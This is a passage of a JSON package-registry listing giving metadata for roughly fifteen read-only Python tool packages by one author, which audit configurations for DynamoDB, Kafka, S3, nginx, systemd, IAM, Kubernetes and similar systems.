dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-aws-dynamodb","job-dynamodb-capacity-optimizer","tool-nosql-bench","audience-cloud-architects","effect-read-only"],"primary_domain":"domain-aws-dynamodb","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T06:09:14.309255+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7459,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["dynamodb_schema_parser","billing_mode_and_gsi_auditor","partition_key_hotspot_auditor","hardened_dynamodb_cfn_generator"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to DynamoDB describe-table JSON or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0e2ec0c7317dd9ddce9e8064b33055398d33d41c19dc17c0a72785e7ca766e3b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/parquet-metadata-inspector@0.1.0","reference":"ameykaulavkar/parquet-metadata-inspector@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/parquet-metadata-inspector@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/parquet-metadata-inspector@0.1.0","name":"parquet-metadata-inspector","title":"parquet-metadata-inspector","description":"Apache Parquet columnar layout and Lakehouse query optimizer. Detects tiny row group fragmentation antipatterns that cripple DuckDB and Spark vectorization, audits uncompressed columns and missing min/max pruning zone maps, and synthesizes optimal PyArrow and DuckDB writer configurations with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-lakehouse-parquet","job-parquet-metadata-auditor","tool-columnar-storage-bench","audience-data-engineers","effect-read-only"],"primary_domain":"domain-lakehouse-parquet","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T06:08:06.323413+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7452,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["parquet_metadata_reader","parquet_writer_optimizer","row_group_sizing_auditor","codec_and_dictionary_auditor"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to Parquet file (.parquet) or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7fa3662e04b03704669563ebc8e303a795ce28ed2721a91e828a72bc1e21c033","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/kafka-topic-config-auditor@0.1.0","reference":"ameykaulavkar/kafka-topic-config-auditor@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/kafka-topic-config-auditor@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/kafka-topic-config-auditor@0.1.0","name":"kafka-topic-config-auditor","title":"kafka-topic-config-auditor","description":"Apache Kafka topic reliability and durability configuration auditor. Detects lethal unclean leader elections and under-replicated partition hazards, verifies min.insync.replicas alignment with acks=all producer guarantees, audits log retention and compression codecs, and synthesizes hardened Strimzi Kubernetes CRD manifests with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-streaming-kafka","job-kafka-topic-auditor","tool-event-streaming-guard","audience-data-platform-engineers","effect-read-only"],"primary_domain":"domain-streaming-kafka","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T06:06:48.451489+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6662,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["kafka_topic_parser","hardened_strimzi_topic_generator","retention_and_compaction_auditor","durability_and_replication_auditor"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to Kafka topic configuration JSON file or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:017fcdfbc9a0efe9955b49a96b26da3665babf0ba3dd9cd7f58654ffa23fc238","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/s3-bucket-policy-guard@0.1.0","reference":"ameykaulavkar/s3-bucket-policy-guard@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/s3-bucket-policy-guard@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/s3-bucket-policy-guard@0.1.0","name":"s3-bucket-policy-guard","title":"s3-bucket-policy-guard","description":"AWS S3 bucket policy security guard and public exposure auditor. Scans statements for anonymous Principal '*' wildcard exposures that cause catastrophic data leaks, audits mandatory TLS transport denial and server-side encryption enforcement, and synthesizes CIS AWS Benchmark compliant bucket policy JSON with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-aws-s3-security","job-s3-bucket-auditor","tool-cloud-storage-guard","audience-security-engineers","effect-read-only"],"primary_domain":"domain-aws-s3-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T06:04:45.126245+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6680,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["s3_policy_parser","public_exposure_detector","hardened_bucket_policy_generator","transport_and_encryption_auditor"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to S3 bucket policy JSON file or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:cf6c393d0ef2bdc64db7d9c64fa79a4fb27b2cd098f43636d90c01f8e394d1fd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/sqlite-integrity-vacuum-bench@0.1.0","reference":"ameykaulavkar/sqlite-integrity-vacuum-bench@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/sqlite-integrity-vacuum-bench@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/sqlite-integrity-vacuum-bench@0.1.0","name":"sqlite-integrity-vacuum-bench","title":"sqlite-integrity-vacuum-bench","description":"SQLite database health, integrity, and performance benchmark. Executes PRAGMA integrity_check to detect b-tree corruption, evaluates WAL concurrency and foreign key enforcement, calculates freelist page fragmentation to schedule VACUUM maintenance, and outputs production bootstrap PRAGMAs with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-databases-sqlite","job-sqlite-integrity-auditor","tool-database-vacuum-bench","audience-software-engineers","effect-read-only"],"primary_domain":"domain-databases-sqlite","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T06:03:34.242627+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7155,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["sqlite_inspector","vacuum_and_pragma_optimizer","wal_and_concurrency_checker","integrity_and_corruption_auditor"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to SQLite database file (.db, .sqlite, .sqlite3) or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:74a25b21a2515418be2733aff3e88a221d9c6d43f80911a75806e0f81656c6a0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/clickhouse-schema-bench@0.1.0","reference":"ameykaulavkar/clickhouse-schema-bench@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/clickhouse-schema-bench@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/clickhouse-schema-bench@0.1.0","name":"clickhouse-schema-bench","title":"clickhouse-schema-bench","description":"ClickHouse DDL performance and storage optimizer. Audits primary sorting ORDER BY hierarchies to prevent sparse index degradation, detects daily over-partitioning hazards that crash MergeTree parts mergers, evaluates column compression codecs (ZSTD, Gorilla, DoubleDelta, LowCardinality), and synthesizes production-optimized DDL statements with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-databases-clickhouse","job-clickhouse-schema-optimizer","tool-olap-bench","audience-data-engineers","effect-read-only"],"primary_domain":"domain-databases-clickhouse","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T06:02:38.471824+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":8369,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["clickhouse_ddl_parser","order_by_and_partition_auditor","column_codec_compression_auditor","optimized_clickhouse_ddl_generator"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to ClickHouse CREATE TABLE .sql file or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8c40f5bd75d634cbeea36b30926082dc3f7923c0dc9345531c006f5f3cbd236e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/wireguard-config-validator@0.1.0","reference":"ameykaulavkar/wireguard-config-validator@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/wireguard-config-validator@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/wireguard-config-validator@0.1.0","name":"wireguard-config-validator","title":"wireguard-config-validator","description":"WireGuard VPN configuration validator and peer IP conflict detector. Scans wg0.conf tunnels for colliding AllowedIPs subnet allocations that break cryptokey routing, audits NAT traversal PersistentKeepalive timeouts, and generates clean server and client configuration templates with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-networking-vpn","job-wireguard-validator","tool-tunnel-auditor","audience-network-engineers","effect-read-only"],"primary_domain":"domain-networking-vpn","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T06:01:40.266506+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6965,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["wireguard_parser","nat_keepalive_auditor","wireguard_scaffold_generator","allowed_ips_conflict_detector"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to WireGuard wg0.conf or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0b93ad2272096701d2c19ba76d34bb5ecbd92f532eaf7ef82f8899a66e0cbd30","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/nginx-security-formatter@0.1.0","reference":"ameykaulavkar/nginx-security-formatter@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/nginx-security-formatter@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/nginx-security-formatter@0.1.0","name":"nginx-security-formatter","title":"nginx-security-formatter","description":"Nginx reverse proxy security auditor and configuration hardener. Identifies server_tokens version leakage, audits deprecated SSLv3/TLS 1.0 protocols, evaluates buffer overflow vulnerability limits, and generates turnkey production security.conf drop-in templates with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-web-servers-nginx","job-nginx-security-auditor","tool-reverse-proxy-hardener","audience-devops-engineers","effect-read-only"],"primary_domain":"domain-web-servers-nginx","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T06:00:43.700693+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7065,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["nginx_config_parser","hardened_nginx_generator","ssl_cipher_and_buffer_auditor","server_tokens_and_headers_auditor"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to nginx.conf or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fd6f57def69e13c9d43ef0417195a1c9a9e726dee6eafaa0f8199d03cf478fb5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/systemd-service-hardener@0.1.0","reference":"ameykaulavkar/systemd-service-hardener@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/systemd-service-hardener@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/systemd-service-hardener@0.1.0","name":"systemd-service-hardener","title":"systemd-service-hardener","description":"Linux systemd unit security sandboxing auditor and drop-in generator. Evaluates services against systemd-analyze security standards, flags dangerous root execution and missing namespace protections, and generates turnkey /etc/systemd/system override.conf drop-in templates with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-linux-systems","job-systemd-security-auditor","tool-host-hardener","audience-site-reliability-engineers","effect-read-only"],"primary_domain":"domain-linux-systems","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T05:59:43.624131+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7214,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["systemd_unit_parser","root_privilege_checker","hardened_unit_generator","sandbox_directive_auditor"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to systemd .service file or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8873de213089b978c98293091a64422a8466be6661b39b971b167232cdcd0d13","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/cert-chain-validator@0.1.0","reference":"ameykaulavkar/cert-chain-validator@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/cert-chain-validator@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/cert-chain-validator@0.1.0","name":"cert-chain-validator","title":"cert-chain-validator","description":"TLS certificate chain integrity auditor and intermediate bundle validator. Traces Issuer-Subject trust links to detect missing intermediate certificates that break automated clients, flags impending certificate expiration windows, and generates clean fullchain PEM ordering guides with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-networking-tls","job-cert-chain-validator","tool-ssl-auditor","audience-devops-engineers","effect-read-only"],"primary_domain":"domain-networking-tls","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T05:58:40.351514+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7226,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["cert_chain_parser","trust_path_verifier","bundle_ordering_optimizer","expiration_and_cipher_auditor"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to PEM certificate bundle or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1f3a31a821cb4a4f15a77d497118e83f922ae5ea73c08f33b67c393b23ea4057","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/aws-iam-least-privilege-bench@0.1.0","reference":"ameykaulavkar/aws-iam-least-privilege-bench@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/aws-iam-least-privilege-bench@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/aws-iam-least-privilege-bench@0.1.0","name":"aws-iam-least-privilege-bench","title":"aws-iam-least-privilege-bench","description":"AWS IAM policy security benchmark and privilege escalation analyzer. Audits policy documents for dangerous wildcard actions, unscoped Resource '*' permissions, identifies critical PassRole/CreatePolicyVersion escalation vectors, and synthesizes least-privilege JSON templates with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-aws-cloud-security","job-iam-policy-auditor","tool-least-privilege-bench","audience-security-engineers","effect-read-only"],"primary_domain":"domain-aws-cloud-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T05:57:42.544364+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7646,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["iam_policy_parser","wildcard_action_auditor","least_privilege_remediator","privilege_escalation_detector"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to AWS IAM policy JSON file or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a15c9c659d7fa82043d413447e368f7b69604c057f39f32a8c80b166791c2194","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/k8s-network-policy-auditor@0.1.0","reference":"ameykaulavkar/k8s-network-policy-auditor@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/k8s-network-policy-auditor@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/k8s-network-policy-auditor@0.1.0","name":"k8s-network-policy-auditor","title":"k8s-network-policy-auditor","description":"Kubernetes NetworkPolicy security auditor and Zero-Trust isolation grader. Audits namespaces for missing default-deny ingress and egress rules, detects lethal wildcard allow-all rules that permit lateral movement, and generates turnkey networking.k8s.io/v1 zero-trust policies with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-kubernetes-security","job-netpol-auditor","tool-zero-trust-checker","audience-security-engineers","effect-read-only"],"primary_domain":"domain-kubernetes-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T05:56:38.887387+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":8055,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["netpol_manifest_parser","zero_trust_netpol_generator","default_deny_coverage_checker","lateral_movement_risk_analyzer"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to Kubernetes NetworkPolicy manifest JSON or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:38502383e0382050141a23c625751c34a5b5fca8aa11aff0469a92fe9b894be4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/eslint-config-inspector@0.1.0","reference":"ameykaulavkar/eslint-config-inspector@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/eslint-config-inspector@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/eslint-config-inspector@0.1.0","name":"eslint-config-inspector","title":"eslint-config-inspector","description":"ESLint configuration analyzer and Flat Config (ESLint 9) migration grader. Identifies deprecated stylistic formatting rules that should be offloaded to Prettier or Biome, detects missing security plugins, and generates turnkey flat config scaffolds with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-javascript-typescript","job-eslint-analyzer","tool-linter-auditor","audience-developers","effect-read-only"],"primary_domain":"domain-javascript-typescript","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T05:55:26.654403+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7126,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["eslint_config_parser","security_plugins_auditor","flat_config_migration_advisor","deprecated_formatting_rules_detector"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to .eslintrc.json, eslint.config.mjs, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8802ef98f746b20e515015dcdf7d12c8b7907b34b15e2a7a77d4976f31865861","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/docker-layer-caching-optimizer@0.1.0","reference":"ameykaulavkar/docker-layer-caching-optimizer@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/docker-layer-caching-optimizer@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/docker-layer-caching-optimizer@0.1.0","name":"docker-layer-caching-optimizer","title":"docker-layer-caching-optimizer","description":"Dockerfile layer ordering optimizer and BuildKit cache hit benchmark. Detects premature 'COPY . .' directives that bust dependency caches, audits consecutive RUN statement layer bloat, and generates multi-stage build templates with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-containers-docker","job-dockerfile-optimizer","tool-cache-analyzer","audience-developers","effect-read-only"],"primary_domain":"domain-containers-docker","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T05:55:24.569611+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6837,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["dockerfile_layer_parser","cache_invalidation_analyzer","run_command_chaining_auditor","optimized_dockerfile_generator"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to Dockerfile or directory containing Dockerfile, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7ad83847c0b13a6498e17a5ec70df549df7be7946c19df9b53a1028b4e91d3f6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/tsconfig-strictness-grade@0.1.0","reference":"ameykaulavkar/tsconfig-strictness-grade@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/tsconfig-strictness-grade@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/tsconfig-strictness-grade@0.1.0","name":"tsconfig-strictness-grade","title":"tsconfig-strictness-grade","description":"TypeScript tsconfig compilerOptions strictness grader and module architecture auditor. Evaluates strictNullChecks, noImplicitAny, noUncheckedIndexedAccess, exactOptionalPropertyTypes, and audits NodeNext/Bundler module resolution modernity with zero external 